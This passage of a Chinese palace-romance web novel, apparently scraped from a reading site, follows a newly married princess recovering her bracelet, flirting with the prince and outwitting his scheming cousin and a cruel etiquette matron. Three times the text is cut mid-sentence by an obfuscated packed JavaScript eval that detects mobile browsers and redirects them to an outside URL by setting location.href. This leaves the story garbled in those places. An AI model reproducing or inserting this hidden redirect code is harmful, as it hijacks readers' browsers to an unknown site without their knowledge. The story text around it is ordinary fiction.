她低下头,把头埋进被子里,鼻尖蹭到喜被上的团花刺绣,仿佛有更深的香气涌上来。香味顺着鼻腔往颅顶钻,她干脆蹬掉鞋子,爬上床。 她翻过身平躺着,整个人躺在软软绵绵的被子里,仿佛置身于温水中,手脚都不由自主地游动起来,摩擦着丝绸被面。 温暖,柔软,舒适。 让人沉醉其中。 夏穗仰面躺在床上游了一会儿,抬起手伸了个懒腰,袖子滑落下来,空荡荡的手腕让她忽然一愣。 她现在在干嘛啊!她不是进来找手镯的吗?居然被那个男人的体香俘获住了,真是丢脸。 想起此行的真正目的,她立刻翻身坐起来,狠狠谴责了自己一顿,在床上翻了个底朝天。 但整个床上都翻遍了,就差没掀木板了,还是没找到。说到掀木板,她这才想起来多半是落在书房了。 夏穗凭记忆一路绕到了书房门口,正要推门而入,手腕忽然被人一把抓住。 她回头望去,正是昨晚院子里遇到的那个侍卫。 那个侍卫也楞楞地打量着她。 夏穗今日的这身衣裳是按王妃的服制做的,丝绸缎裙配云锦外袍,衣襟上的花纹都是用金线所绣,袖口边缀满小珍珠,整个人珠光宝气,华贵无比。 那个侍卫大抵猜到她的身份,立刻松手,跪下朝她行礼:”是小的有眼无珠,冒犯娘娘,还请娘娘恕罪。” 夏穗不甚在意地摆摆手,就要推门而入,但那个侍卫立即又挡在她身前。 “娘娘有所不知,这间书房是王府的禁地,没有王爷的允许,谁也不准入。” 禁地? 她昨天进去时,明明就是一间普通的书房啊,也不知道有什么好禁的。 但转念一想,如果她的镯子真在里面的话,那岂不是明晃晃地昭告天下她进过禁地? 夏穗急道:“你不懂,如果是禁地,那我更要进去了。” “娘娘!”那侍卫又在他面前跪下,“还请娘娘不要为难属下。” “如果我非要进去呢?” “那属下只能如实禀告王爷。” 夏穗在心里痛骂了他几遍呆板木头,但面上一改严肃的神情,笑嘻嘻地说道:“开个玩笑,我只是在府上随便逛逛。还要多谢你昨晚为我指路呢。” 侍卫正要回话,身后忽然传来一道清越的声音。 “彦修,备马,我要进宫。” 短短的几个字,听不出丝毫的情绪波澜,但极有压迫力。 谢枕年说完,又看了一眼低头垂手,乖乖立在一旁的夏穗,对她说道:“你,跟我过来。” 夏穗怔愣了几秒,暗中猜测他叫自己过去所为何事,但脚步已经听话地跟上。 昨夜的婚房原本就是谢枕年的房间,即使成亲了,但他没有想换房间的意思。 他刚进门,一眼就看到了凌乱如狗窝的床,他长这么大,还是第一次见识到这么乱的床。以往他起床后,只要一离开床,婢女立刻就会把他的床收拾得妥帖整齐。 他顿下脚步,有些震惊地望着自己的床,如果说婢女还没来得及收拾的话,那这真是他昨天晚上睡出来的狗窝? 他暗自反省了一下,他睡姿真有这么狂放? 夏穗见他久久盯着面前那团凌乱不堪的被子,正想找个什么借口搪塞一下:“王爷,这是……” 但她话还未说完,便被他打断了。 谢枕年轻咳一声,他先解释起来:“我睡相不好,所以从不与他人同睡。我们分开睡,对彼此都好。” 夏穗立刻反应过来,顺着他的话接的:“多谢王爷体恤。” 谢枕年走到桌旁,桌上已经摆好了朝服,他尽快扯开此话题,对夏穗吩咐道:“替我更衣,我待会儿要出门。” 夏穗向四周望了望,发现整个房间内只有他们两个人,她不可置信地指了指自己,问道:“我吗?” “这房内还有其他人吗?” 夏穗摇摇头,人不人的她不知道,自己现在已经化身成了色中恶鬼。 她走上前,光明正大地脱他的衣服。 真是送上门的男菩萨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630640|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 脱去外袍就是里衣,夏穗的手刚碰到他的身体,就感受到薄薄衣服下紧实的肌肉。 手指顺着衣襟往下探去,拇指不经意地掠过胸肌中缝,白皙细腻的皮肤,练得恰到好处的胸肌,手感和视觉体验极佳,她不自觉地吞了口唾沫。 但她也很懂得把握分寸,在该收手的地方及时收手,绝不让人看出她的小心思。 接下来是系腰带。 夏穗半蹲下身,双手拿着锦缎,擦着他的腰侧收拢,一个简单的动作被她拆分成了好几步,手指似有若无地划过腹肌和腰侧,脸不红心不跳地占着他的便宜。 她偷摸着望了一眼谢枕年,他表面上丝毫不显山露水,但布料下坚实的肌肉却骤然紧绷起来。 真有本事,这都能忍。 夏穗刚在心里赞叹完他的定力,谁料谢枕年下一瞬就开口:“我自己来。” “调整一下,马上就好。” 谢枕年的喉结滚动了一下,但什么也没说。 夏穗嘴上这么回答着,但手上动作丝毫不停。借着为他调整腰带松紧的机会,手指沿着腰线来回丈量他的腰身。 他的腰肢精瘦,但窄而紧实,很有力量感。 真是好腰! 听说腰越有力,越是能干…… 有生之年能体会到这样的手感,也算是功德圆满了。 夏穗暗笑,用舌尖抵住上颚,努力控制住自己,才忍住没发出什么怪笑声。 谢枕年皱眉盯着她发顶的小旋涡,总觉得今日这身衣服似乎换得格外慢。他正要开口,却见夏穗十分温顺地退开,说道:“好啦!” 夏穗倒退几步,看着眼前人一袭正红色官袍,长身玉立,更衬得他面如冠玉,风光无限。 她满意地点点头,转身从桌上拿了官帽,想给他带上。但谢枕年几乎比她高了一个头,站在她面前,身姿挺拔,更是犹如一棵松柏。 夏穗踮起脚尖,伸高了手臂,可仍然戴不上。 谢枕年也清高异常,像是完全没发现她的窘境似的,甚至还微抬下颌,拉长脖颈。 两人贴得很近,夏穗能清晰地闻到他身上那股雪松香,香气钻入鼻腔,她忍不住看了不肯低头的谢枕年一眼,不知为什么,她总觉得在他脸上瞧出了几分恶童的捉弄感。 她踮起的足尖已经开始发颤,但她不死心,咬了咬牙,再用力踮脚,脚尖几乎就要离地,帽子才堪堪戴上。 但她整个人身形不稳,朝前扑去。谢枕年也毫无防备,要躲闪已经来不及了,于是两个人都直挺挺地栽下去。 夏穗扑倒在他身上,鼻尖相擦,嘴唇覆盖住谢枕年的两片温软。 她这才知道,原来小话本里描绘男子的嘴唇“冷如冻玉,如覆霜雪”都是瞎写的,谢枕年的嘴唇分明是块刚蒸好的米糕。 香甜软糯,微微发热。 舌尖也跃跃欲试,想探出去尝个鲜,此刻夏穗满脑子都是小话本中的男女主人公接吻,总会有一方探出舌尖,挑开另一方的牙关,然后满腔探索,相互缠绵。 脑子里已经达到接吻高潮,但谢枕年身上冷冽的香气让她立即清醒过来。 糟了,光顾着自己开心了。 她趴在谢枕年身上,偏过脸去,把头埋在他的脖颈间,讪讪抬眼,想暗自打量一下他的神色,但猝不及防地撞上他那双黑白分明的眸子。 5. 第 5 章 夏穗短时间内解读不出那双眸子里到底是什么情绪,不过从他微抿的嘴唇和皱起的眉头来看,他应当是不太高兴的。 被夏穗扑倒嘴唇相贴的那一瞬间,谢枕年感觉自己身体里的血液都凝固住了,浑身僵住,脖颈的青筋突突直跳。 他长大后,从没跟哪个女人有过近距离的接触,更别提如此肌肤相亲。 哪怕夏穗早就移开了嘴唇,但他现在还没有完全平静下来。 夏穗趴在他身上,支起上半身,用袖口抹了把唇角,一双杏眼蒙着雾气,半娇半羞,她反倒像被登徒子轻薄的小媳妇。 谢枕年的手藏在袖子里,捏了捏拳,尽量保持声线平稳:“还不起来么?” “对、对不住!”她慌忙撑起身子,还没来得及站起来,从门口忽然传来一阵脚步声,接着是彦修的声音:“王爷,马车已经备——” 他的话忽然顿住了,目光看了看骑在自家王爷身上的夏穗,又捕捉到谢枕年红潮未退的耳根,像是忽然明白了什么,立刻抬手挡住眼睛,言辞之间比他们俩还要惊慌:“对不起对不起,我看门没关紧我就进来了,我什么也没看到,我这就出去。” 夏穗刚想辩解一句“不是你想的那样”,但谢枕年却先开口说道:“嗯,你先出去等我。” 嗯?这算什么?算是默认他们在光天化日之下干狗狗祟祟的事? 不对,该不会是想关门打狗吧?! 夏穗一骨碌爬起来,连退好几步,低头开始酝酿情绪。 等谢枕年也爬起来后,她仰起脸,眼里已经切换成纯良无辜、带点害怕的意味,先声制人道:“王爷,我不是故意的,王爷若是生气,那……” 夏穗佯装说不下去了,用袖子抹了抹眼角。 但谢枕年并不放过她,及时反问道:“那就怎样?” 夏穗愣了愣,没想到他步步紧逼。脑中飞速运转着,他要什么都不缺,自己也没什么可奉献给他的,现在的情况下,唯一能扯平的,那只有一个办法了。 她对着谢枕年伸开手,抬头挺胸,乖乖站在他身前,闭着眼睛道:“那你可以亲回来。” 谢枕年:…… 他真后悔自己问出了那句话。也万万没有想到她给出的居然是这种解决办法。 他愣了愣,看她一副舍生取义,马上就要以身殉道的样子,他走上前去,一把攥住她手腕。 夏穗一惊,不是吧?他真要亲我?早知道他这么容易上当,她早就用这招了。 她乖乖站着,被体温烘得暖融融的雪松味扑面压下来,夏穗闭着的眼睛偷偷张开一条小缝,看着他近在咫尺的嘴唇,微微撅了撅嘴。 但迎接她的是谢枕年冷冰冰的声音:“我并非是什么登徒浪子,这种意外的肢体接触我也根本不会在意,你忘了吧。” 夏穗睁开眼睛,谢枕年也松开她的手,不再多话,与她擦肩而过。 她转身看着谢枕年不染俗尘的背影,在心底暗叹了一声:唉,真是媚眼抛给瞎子看。 天幕如一张巨大的蛛网,慢慢覆盖下来,夕阳的最后一点余晖也被淹没在云层里。 夏穗里里外外把王府转了个遍,总算是稍微熟悉了一下地形,不至于迷路。 逛到晚上,她才后知后觉地想起来,自己还没有睡的地方。 谢枕年不让她睡在他房里,昨天睡过的书房又成了禁地,一时之间,她实在不知道该去哪儿睡。 不过好在王府够大,有床的房间多的是,任由她挑选。她随意逛了逛,选中了东院的一间屋子。虽然这间房不是最大最好的,但离老夫人的房间是最近的。这样她就可以睡到最极限的时候再起床,迅速穿好衣服去给老夫人请安。 回到房间,夏穗从箱子里翻出她从娘家带过来的小话本,扔到床上,打算再刻苦研读一会儿。 她这回带过来的全是些文字版本,没有插图,甚至封面都是经过她一手改造的,乍一看确实让人以为在看什么经书一样。 当然,她还有更□□的画图本,让人一眼沉沦,两眼一抹人,不知三从四德为何物。 不过那些她都没敢带过来,在她的认知里,一般的世家大族都自诩名门上流,整日里吟诗作赋,弹琴下棋,与这些讲痴男怨女爱情故事的世俗画本自然是不沾边的。 现实果然如她所料想的那般,王府规矩森严,谢枕年更是端庄自持,不染世俗,她一个胸无大志,只想吃喝玩乐的小黄人还是小心谨慎为上。 她俯身趴在床上,翻开书津津有味地看起来。不能同床而居,在这方面倒是能自由些,看些什么书、看到什么时候也没人管她。 合上书时不知是什么时候了,她翻了个身,把书塞在枕下,沉沉睡去,一夜好眠。 翌日,太阳刚刚升起,夏穗就已经坐起来了。她特意吩咐了小桃让她这个时辰来叫她起床,不早不晚,此时赶去给老夫人请安,应该是刚刚好。 换好衣服,只几步路便来到了老夫人的房间。 夏穗走进去,最先看到的是老夫人和一个年轻女子笑着交谈,两人其乐融融的画面。 那年轻女子身材小巧,红妆粉面,满头珠翠,依偎在老夫人身边。她整个人半贴着老夫人的身体,一手搭在她的肩上,一手绕过她的脖颈搂住她,声音娇媚,眉飞色舞,像是在哄老太太开心。 夏穗面上不动声色,温婉地开口请安。 老夫人心情好,以至于对她也多了几分客气。 旁边的年轻女子上下打量了夏穗几眼,对老夫人说道:“姨娘,这就是表哥的王妃吗?虽说身份上是差了些,但长得确实是如花似玉,袅袅婷婷,看起来也温婉可人。” 夏穗快速地把她这句话在心里翻译了一下,她应当是想说自己身份卑贱但小有姿色,而且看起来胆小怕事,很好欺负。 年轻女子说完这茬,老夫人似乎又不开心了,她扶了扶额说道:“唉,原本给枕年定了骠骑将军的千金,马上就要成婚了。谁知他忽然就得了这场大病,来势凶险,娶一个平民之女也是不得已而为之。” 平民之女? 果然,她爹这个八品小官,在他们眼中约等于无。 老夫人和年轻女子还在继续交谈着。 “不过她嫁过来冲喜以后,枕年的病瞧着倒是好了许多。只可惜没娶到将军的独女,恐怕他以后在朝堂上又要多费几番功夫才行。” “姨娘放宽心,以表哥的才华,在朝廷站稳脚跟只是时间问题。再不济,还有我们白家呢,白薇和爹爹会永远支持表哥的。” 老夫人笑着拍了拍白薇的手:“有你在,我也能放心些。这些年你为王府忙里忙外,也辛苦了。” “哪里,这些都是白薇应该做的,只要能陪在表哥身边,我也很开心。” 她说完,又斜着睨了夏穗一眼,若有所指道,“我从不在意什么封号,王妃也好,侧妃也好,不过都只是一个名号罢了。王府家大业大,还怕养不起几个闲人吗?” 夏穗听明白她的言外之意,但并不反驳,只是低头陪笑。 老夫人和白薇两人你一言我一语的,当着她的面讨论这些,但她也并不在意。深宅大院里那些勾心斗角,争风吃醋的事她在话本上见得多了。 话本上说,女人之间再怎么玩弄手段,斗得你死我活,也终究会输给男人真心爱慕的那个女子。 不过她们碰上谢枕年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630641|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个清心寡欲的和尚,估计谁也别想赢了。 而且,夏穗也根本没有想争取赢的打算。 谢枕年装病,不过是为了逃避世族联姻;她想留在王府,也只是想逃避家中继母对自己的严苛以待;老夫人肯留下她,因为她以为是自己治好了她儿子的病。 所有人都只是各取所需罢了,没什么感情可言。 她能得到她所需要的东西,过着钟鸣鼎食的生活,能抽空看看话本,她已经很快乐了。至于谢枕年的感情,她倒也不做强求。 有则锦上添花,如果没有,那也无伤大雅。 “听说表哥昨夜入宫去了,还没回来吗?” 老夫人点点头:“昨夜忽然急匆匆地传了许多官员入宫,连卧病在床的也去了,听消息大家都没回呢,也不知是出了什么事。” 听到这里,夏穗的耳朵立即竖了起来。 出了大事回不来? 那岂不是她去找镯子的好机会? 她立刻找了个借口告退,一路上避开洒扫的下人,七拐八绕地来到了那间书房门口。 四下张望了一下,确保没有人注意这边,她迅速把门打开一条小缝,闪身而入。 夏穗来到床边,立刻动手翻找起来。仔仔细细地翻了每一个角落,好不容易才在被褥的一角找到那个镯子。 她刚戴上,打算要走,但看着凌乱的被子,还是决定把它恢复原样,伪造成没人来过的样子。不然她要是无意中留下什么蛛丝马迹,再查到她身上就完了。 她把被子叠好,用衣袖擦了擦额头的汗,满意地点点头。 这下好了,没人会知道她来过这里。 夏穗走到门口,手还没碰到门把手,门外清晰地传来下人的请安声:“王爷。” 谢枕年回来了?! 日光将一道清秀的影子印在门上,夏穗瞄了一眼,隐约通过那身形和气质判断出来,站在门口的人的确是谢枕年。 夏穗急得在原地来回踱了几步。这间书房不大,就摆放了几个书架,一张桌子和一张床。人只要一进来,几乎可以一眼望到整个房间。 她果断选择躲到床下。 她刚钻进去,门就被打开了。谢枕年关上门,略带急促的脚步声朝着床榻这边走过来。 夏穗的一颗心扑腾扑腾,跳得很快。她屏住呼吸,听着谢枕年的动静。 床上传来布料的摩擦声,他似乎把被子和被褥都挪开了。夏穗猜想他应该是要把那个小木盒取出来,尽快毁灭证据。 夏穗待在床底,静静地等他拿出小木盒,又把木板和被子复原。 她轻轻吐出一口气,期盼他赶快带着盒子离开。 但好巧不巧,老夫人在门外敲门。 谢枕年怔愣了几秒,迅速把小木盒放在地上,用脚一踢,踢到床下,再去给老夫人开门。 夏穗看着那个突然出现在眼前的小盒子,眨了眨眼睛,仿佛看见一个小棺材。 藏哪里不好,非要跟她藏在一起! 这下完了,她要被最不应该知道她来过这里的人发现了。 谢枕年站在门口和老夫人说话,夏穗躲在床下瑟瑟发抖。 送走了老夫人,夏穗看着谢枕年投在地上的影子慢慢朝这边移过来,终于在床榻前停下。 他半跪下来,朝床下摸索着那个小木盒。他朝左摸了摸,没有摸到。 夏穗捂住嘴巴,连大气也不敢出。 他又朝右摸了摸,但在距离小木盒还差一点的地方停下了。 夏穗的心脏已经提到了嗓子眼。 摸索了半天没有摸到,他想确认一下木盒的位置,于是俯身低头,朝床下看去。 6. 第 6 章 谢枕年以半跪的姿势朝床下看,身子降低的幅度有限,能看到的地方也只是床下的一小寸。 他只好改变原本半跪的姿势,双腿都跪下来,以手撑地。 但他的手刚撑到地上,就碰到了小木盒的边缘。他直接摸索到小木盒的后面,把它揽出来。 夏穗胆战心惊地看着他骨节分明的手指,离自己的鼻尖不过一寸,但好在他既没有蹲下来查看,也没有再往里摸。 还好她机智,在关键时刻把小木盒推到了他的手边。 她听到谢枕年站起身,拍拍身上的灰尘,然后朝门口走去。直到门关上,她完全听不到他的脚步声,才从床底爬出来。 有惊无险。 她出了房门,站在阳光下,抬手看了看重新戴在手上的那个镯子。镯子是银的,很朴素,花纹也很粗糙,而且由于年代久远,镯子已经有些变形了。 但彼时透过阳光,镯子在阳光下泛着冷白的光泽。 每次遇到这种能够化险为夷的时刻,她总觉得冥冥之中像去世的娘亲在帮她。 “阿娘,你放心,我一定会在王府好好生活下去的。” 夏穗对着镯子说道,微微抬了抬嘴角。 刚用过早膳,又到了练习礼仪的时候。 夏穗正坐在屋子里背王府族谱,掌教姑姑挺着胸脯走过来,提高了嗓音道:“出去练礼仪吧。” 她放下书,瞧了一眼外面狠毒的太阳,此时正烈日当空,她只想凉凉快快坐在屋里看会儿书,于是好言商量道: “姑姑,我们不如晚上再出去练吧,现在刚好也能把这些书背了。” 但掌教姑姑斜着眼睨着她,并不买账:“尽快学好礼仪是老夫人的意思。娘娘要是对老奴的安排有什么不满,尽管跟老夫人去说。” 夏穗小声蛐蛐了她一句:不过是商量一句,张口闭口就是老夫人,至于吗? 她乖乖跟着掌教姑姑来到屋外。刚从阴凉的房子里走出来,直辣辣的太阳光刺着她不能完全睁开眼睛。 刚在阳光下站了一会儿,碎发就已经全黏在后颈上,汗水顺着脖子滑进衣领里。 她想抬手擦擦汗,但今天的练习强度显然跟昨天不在同一水平上,她的双手、头上都顶着书本。书不仅变多了,而且每本也变厚了。 夏穗在心中默数着数字,但戒尺忽地打在她的后腰上,皮肉瞬间一阵热麻,她身形不稳,头上和手上的书也掉了几本。 她还没来得及问自己为什么挨打,戒尺又在她的小臂上打了一下。 掌教姑姑绕到她的正面,抢在之前先开口了:“娘娘不要怪老奴凶狠,老夫人说了,你是王爷的正妻,端王府的王妃,怎么着也代表着王府的脸面。你学不好这规矩,可不是你一个人的事。” 既然她已经搬出了老夫人,夏穗也只好暂时吃了这个哑巴亏。 等她学好礼仪,在老夫人那边交了差后,她非要讨回来不可。 亲娘去世后,她的处境举步维艰,十多年来如履薄冰。这么多年,被继母虐待,被继妹冤枉,她若是没点小手段,恐怕早就死在柴房里了。 夏穗咽下喉头的苦涩感,重新捡起地上的书,极其温顺道:“姑姑教训的是,是我做的不够好。” 她重新把书放好,绷直肩膀,乖乖站好。 时间走得很慢,但也一分一秒地流逝,太阳已经到了头顶,地面蒸腾上来一股热气,裹住她的双腿向她身上攀爬。 汗水不断地流,打湿了她的眼睫,眼前朦胧一片,太阳穴突突地跳个不停,整个人都被晒得有些眩晕。 掌教姑姑终于发话:“好,走一个看看。” 夏穗顶着书,才刚抬腿,姑姑就用戒尺狠狠打她膝弯:“不对,重走。” 夏穗气得差点直接把书甩在她脸上,但她极力克制住,没有那么做,转头对她笑脸相迎:“姑姑,我方才还没开始走呢。” “我看你抬腿的姿势就不对,重走!” 夏穗咬咬牙,只得又捡起地上的书,将她所说的技巧要领全在心中好好回忆一遍,才慎而又慎地踏出第一步。 她还没走两步,只听见姑姑在身后一声冷笑:“醉汉逛窑子都比你走得雅正!照这个样子,还是劳烦王妃多在这日头下站两个时辰吧!” 站在一旁的小桃实在看不下去了,冲上来挡在夏穗的身前,跪下来请求道:“姑姑,已经练了两个多时辰了,一刻也没有休息过,娘娘午饭也没吃,我们先休息一会儿吧!” 掌教的看着跪在地上求情的小桃,又看了看嘴唇泛白的夏穗,心想白薇小姐只是让她趁机好好教训夏穗,万一她要是折腾过头了,把人搞个半残不死,那可就麻烦了。 毕竟,她身份再怎么卑贱,王府上下的人都知道,她可是救过王爷性命的人。 掌教白了她们主仆二人一眼,悠悠然说道:“先回房吧,用了午膳再接着练。” 夏穗把书扔在石桌上,看着她一扭一扭离去的背影,心中总觉得有哪儿不对劲。 难道是她的错觉?她怎么觉得今天的练习程度比昨天要大许多呢?而且,掌教姑姑也严格了许多。 她甩了甩有些酸痛的手臂,不管了,天大地大,先猛吃几碗饭把肚子填饱再说。 夏穗带着小桃兴冲冲地回到房间,等着她的食物不是像昨天那般荤素搭配、有汤有甜点,而是只有一碗白粥。 与其说是白粥,不如说是汤里面混了几粒米。 她在桌前坐下,拿起一根筷子搅了搅面前的碗,甚至这样都捞不起什么饭粒。 似乎还泛着一股淡淡的馊味。 夏穗正疑心是不是把餐送错地方了,这碗汤不汤水不水的东西,应该是要拿去后院喂马的吧? 正在此时,掌教姑姑又扭着腰进来了,见夏穗没喝那碗粥,于是拿腔作调地开口:“娘娘等什么呢,这就是你今天的午膳。” 夏穗反问道:“这也是老夫人的意思?” 她之所以问出来,是觉得老夫人本来也是大家闺秀出身,嫁入王府后又掌家多年,就算她对自己不满意,也不至于用这么小家子气的手段刁难她。 掌教姑姑昨天和今天截然不同的态度,她背后必定有人指使,但夏穗猜那人应该不是老夫人。 “是不是老夫人的意思并不重要,重要的是你的言谈举止达不到王妃的水准,你敢让王府在外面失了面子,老夫人定然不会饶恕你。” 掌教姑姑说完,又斜斜地瞥了她的华服一眼,接着说道:“王妃可是正一品,能穿上这身衣服的人,谁不是扒了一层皮才穿上?王妃既然怕吃苦,我看你身上的这袭华服,不如趁早让给会穿的人。” 这句话倒是点醒她了。 掌教姑姑背后那人,多半就是白薇。 当时第一次见面,夏穗浅浅听她说了几句,心下便知白薇必定是暗恋谢枕年多年,爱而不得。本来仗着表妹这层身份,她确实可以无名无分地黏在他身边,但如今有她嫁进王府,她的危机感肯定上升了不少。 她才刚嫁过来没几天,她就住到府上来了。 夏穗本想跟她和平相处,无论她用什么手段追求谢枕年,她也只想嗑嗑瓜子,看看她追求男人的手段。 但白薇那个愚蠢的女人竟然选择把矛头对准她! 女人何苦为难女人! 没办法,树欲静,但风偏要作死,那就只好陪她玩玩。 对方不是什么省油的灯,反正她也不是什么善茬。 夏穗客客气气地送走掌教姑姑,立刻转身把那碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630642|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白粥倒到窗台下,一把拉过小桃,细细吩咐道:“下午她们不知会变着什么法子来欺负我,你看我练到最惨的时候,就去找王爷过来。记住,要悄悄地去,顺便把我的情况说得惨一些。” 小桃愣了愣,问道:“怎么说?” “能有多惨说多惨,放心大胆说,我会演得比你说的惨。你只要能把王爷引过来就行。” 话音未落,外间就有下人进来,说掌教姑姑在催。 两人应声来到烈日下。 夏穗放在石桌上的书已经不见了,面前摆着一个木桶,桶里面还装了大半桶水。 掌教的拿着戒尺在桶边便敲了敲,说道:“下午用这个练。” 小桃气急,替自家主子打抱不平道:“拿书练就算了,我家小姐又不是下人,凭什么提这么重的水桶?!” “是我的意思。” 好熟悉的声音。 下一刻,白薇便顺着台阶走下来,高高在上地开口:“怎么了?王妃有什么不满吗?” 见到她一出来,夏穗眸光一亮。 正好,主角都到齐了。 她恭敬地退了两步,朝她行了个礼,说道:“夏穗不敢,姐姐出身世家大族,懂得自然比我多,还得请姐姐多教教我才是。” 在谢枕年来之前,得先拖住她。 “好,那你就按我说的练吧。” 夏穗走上前,弯腰提起水桶,暗暗给小桃递了一个眼色。小桃接收到,脚步一点点挪远。 看她乖乖提起水桶,白薇坐到她面前石凳上,翘着二郎腿,慢慢说道:“当王妃不容易,总得让王府的下人们知道,什么才是正经主子做派。若是这王妃的位子这么容易坐,那岂不是人人都想当。” 夏穗站在她面前,双手自胸前伸出,提着水桶保持住这个姿势,双臂抖得不行,但还是努力露出微笑:“姐姐说的是。” 她和白薇说着话,掌教姑姑估计是想在白薇面前好好表现一番,故意把戒尺抵在她的下巴上,严声呵斥道:“下颌抬高,不要梗着脖子!你是大鹅吗?!” 夏穗咬咬牙,也朝她回一个礼貌的微笑。 别急,你也跑不了。 屋内,谢枕年刚处理完那盒胭脂水粉。 昨夜皇帝急匆匆地召他们进宫,说边疆传来战报,太子战死了,不日将把遗体护送回国。 他不想与世家女子联姻才装病冲喜,如今目的已经达到,便不再需要抹那些东西装病了。眼下要做的事,是对外宣称他身体已经恢复,好早日回朝。 此时小桃一把鼻涕一把泪地冲进来,不顾侍卫的阻拦,扑通一下跪在谢枕年面前,苦道:“王爷!你快去看看王妃四肢还健全的样子吧,否则,奴婢怕您以后再也见不到了!” 谢枕年微微蹙眉不语。 另一边,夏穗算算时间,觉得差不多了,她把水桶用力甩在白薇面前,叉腰歇了口气。 见她这副样子,白薇气得直接站起来骂道:“疯丫头,你干什么?” 夏穗不答,走上前狠狠踩了白薇一脚。 她从前在小话本中看到过,踩脚趾很痛,但又不至于留下明显的伤痕。 白薇吃痛,抱着脚还没反应过来,夏穗就已经蹲下身,让自己的衣服鞋袜全都浸在地上的污水中,胡乱地扯散自己的头发,紧紧抱住白薇的腿,哭天抢地道:“是我的错,是我错了!小姐别再罚我了!” 白薇有些不可思议地看着夏穗,朝掌教喊道:“你还愣着干什么!还不快打死这个疯子!” 掌教姑姑见状,上前扬起戒尺就要打她。夏穗抱头闭眼,但疼痛并没有如想象般落在身上。 空气似乎安静了几秒,她微微睁眼。 一只骨节分明的手抓住了掌教的手腕。 7. 第 7 章 “本王竟不知,这戒尺竟然是这么用的。” 谢枕年站在掌教身后,声音清润,但一双眸子里却写满烦躁阴戾,他暗自加大手上的力道,狠狠捏着她的腕骨,掌教吃痛,戒尺从她手中滑落。 他另一只手适时地接住了掉下来的戒尺,依旧是不急不躁地开口:“你身为王府的掌教姑姑,目无尊卑,以下犯上,你既然不会用这戒尺,那本王教你用。” 他拿着戒尺,反手打在掌教的膝窝处,掌教痛呼一声,双腿被打得直接跪在地上,她连忙求饶道:“老奴知错、老奴知错了!请王爷看在我多年尽心伺候老夫人的份上,饶了我这一回吧!” 谢枕年不说话,夏穗准备再添一把火。 她迅速咬破自己的嘴角,眼泪汪汪地抬起头,跪在地上,像一只刚经历过狂风暴雨的小狗,十分委屈道:“王爷,还请饶恕姑姑这一回,她前几日对我还很有耐心,想来是我太过愚笨,学不好规矩,她才生气的。” 她话音未落,掌教姑姑立即辩驳道:“不是,不是王妃的错。王妃学得很好,是……” 她看了看面容阴沉的谢枕年,眼前的形势已然十分明朗,他显然是站在夏穗那一边。 她咬了咬牙,狠下心来说道:“是得了白小姐授意,老奴才这么做的。” 此时如果不把白薇推出去,按夏穗话里的意思,那就只能是她一个人来背整个锅。 掌教把白薇一推出来,夏穗就暗自低头,佯装抹了把眼泪,其实她的嘴都已经快笑烂了。 引导她们狗咬狗才是最精彩的。 至此,她的目的已经达成。 果然,白薇急得跳脚:“你胡说八道什么?!我才来府上,怎么可能让你做这种坑害王妃的事?!” 见她死不承认,掌教也一口咬到底:“王爷明鉴,我说的是实话!白小姐刚来,从老夫人那儿知道了王妃在我这儿学规矩,当天夜里就找到了我,让我下手狠些,不必手下留情,万事有她兜底。” 白薇气急,冲上来便扇了她一个耳光,吼道:“贱奴,闭嘴!” 掌教也急红了眼,她越是不承认,她越要说:“王爷你看,白小姐就是这样,她是主子,我是贱奴,我不敢不同意。” 她哭着说完,像是想到什么似的,又急忙补充道:“对,她还说王妃只不过是买来冲喜的工具,出身卑微,就算死了也无关紧要,还让我给王妃送下了哑巴药的白粥,说只是小施惩戒。” 夏穗跪在地上,原本只当听戏一样乐呵呵地听她们争辩,此言一出,她立即瞪大了眼睛,用手捂住嘴巴。 好险,差点失去她这张抹了蜜的小嘴儿。 原来那股奇怪的味道不是因为馊了,而是被下了药。还好她准备报完仇以后用肚子来装大鱼大肉,没喝那碗馊粥。 夏穗抬头,只见谢枕年正朝这边望过来,她似乎在那双眸子中捕捉到了几抹浅浅的担忧。 “我准备喝粥时,在窗外看到一只白色流浪狗,瘦骨嶙峋的,瞧着十分可怜,我把那碗白粥给它喝了。” 流浪狗是昨天看到的。 不过这并不妨碍她在谢枕年面前树立自己心地善良、慈悲为怀的形象。 谢枕年略微点点头,淡淡地看了白薇一眼,说道:“王府这么大,你们的话谁真谁假,我稍微派人一查便知。” 说完,他有些意味深长地望了白薇一眼。 白薇与他的目光相撞,立即红了眼眶,走上前来拉住他的袖子,哽咽道: 